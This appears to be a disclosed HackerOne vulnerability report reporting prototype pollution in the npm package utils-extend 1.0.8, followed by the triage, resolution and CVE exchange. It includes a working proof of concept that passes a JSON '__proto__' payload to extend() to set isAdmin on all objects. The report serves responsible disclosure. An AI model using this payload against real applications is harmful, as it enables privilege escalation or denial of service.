4 [utils-extend] Prototype pollution

Share:

TIMELINE

uo4n8 submitted a report to Node.js third-party modules. Feb 21st (3 ye

> NOTE! Thanks for submitting a report! Please replace *all* the [square] sections below with the pertinent details. Remember, the more detail you provide, the easi
> is for us to triage and respond quickly, so be sure to take your time filling out the report!

I would like to report `prototype polution` in `utils-extend`
It allows an attacker to modify the prototype of a base object which can vary in severity depending on the implementation (DoS, access to sensitive data, RCE).

Module

module name: utils-extend
version: 1.0.8
npm page: `https://www.npmjs.com/package/utils-extend`

Module Description

> Extend nodejs util api, and it is light weight and simple.

Module Stats

[1] weekly downloads : **129,956**

Vulnerability

Vulnerability Description

Steps To Reproduce:

1. npm install --save utils-extend
2. create file index.js with content :

Code 230 Bytes Wrap lines Copy Dow

```
1 const { extend } = require('utils-extend');
2 const payload = '{"__proto__":{"isAdmin":true}}'
3 const emptyObject = {}
4 const pollutionObject = JSON.parse(payload);
5 extend({}, pollutionObject)
6 console.log(emptyObject.isAdmin)  // true
```

3. run `node index.js` => true

Wrap up

> Select Y or N for the following statements:

- I contacted the maintainer to let them know: [Y/N] : N
- I opened an issue in the related repository: [Y/N] : N

Impact

Can result in: dos, access to restricted data, rce (depends on implementation)

1 attachment:
F723877: demo.jpg

h1_analyst_jake HackerOne triage changed the status to **Triaged**. Feb 21st (3 ye

Hello @sontungatm,

Thank you for your submission! We were able to validate your report, and have submitted it to the appropriate remediation team for review. They will let us know t
final ruling on this report, and when/if a fix will be implemented. Please note that the status and severity are subject to change.

Regards,
@lugtag

uo4n8 posted a comment. Feb 26th (3 ye

hi @lugtag
Any update for this bro

marcinhoppe Node.js third-party modules staff added weakness "Modification of Assumed-Immutable Data (MAID)". Mar 4th (3 ye

h1_analyst_gordon HackerOne triage posted a comment. Mar 16th (3 ye

The team is working to bring outside parties into this report as the report must be fixed by a third party. It is up to the team as to whether it can be fixed after that
or not.

marcinhoppe Node.js third-party modules staff closed the report and changed the status to **Resolved**. Apr 2nd (3 ye

marcinhoppe Node.js third-party modules staff requested to disclose this report. Apr 2nd (3 ye


tuo4n8 posted a comment. Apr 2nd (3 ye

Hi @marcinhoppe

Thank you so much for your response.

So can I have a CVE bro?

Regards

marcinhoppe Node.js third-party modules staff posted a comment. Apr 2nd (3 ye

Yes, I will request a CVE.

tuo4n8 agreed to disclose this report. Apr 2nd (3 ye

This report has been disclosed. Apr 2nd (3 ye


tuo4n8 posted a comment. Apr 2nd (3 ye

Thanks you so much @marcinhoppe

marcinhoppe Node.js third-party modules staff changed the scope from **Other module** to **utils-extend**. Jun 18th (3 ye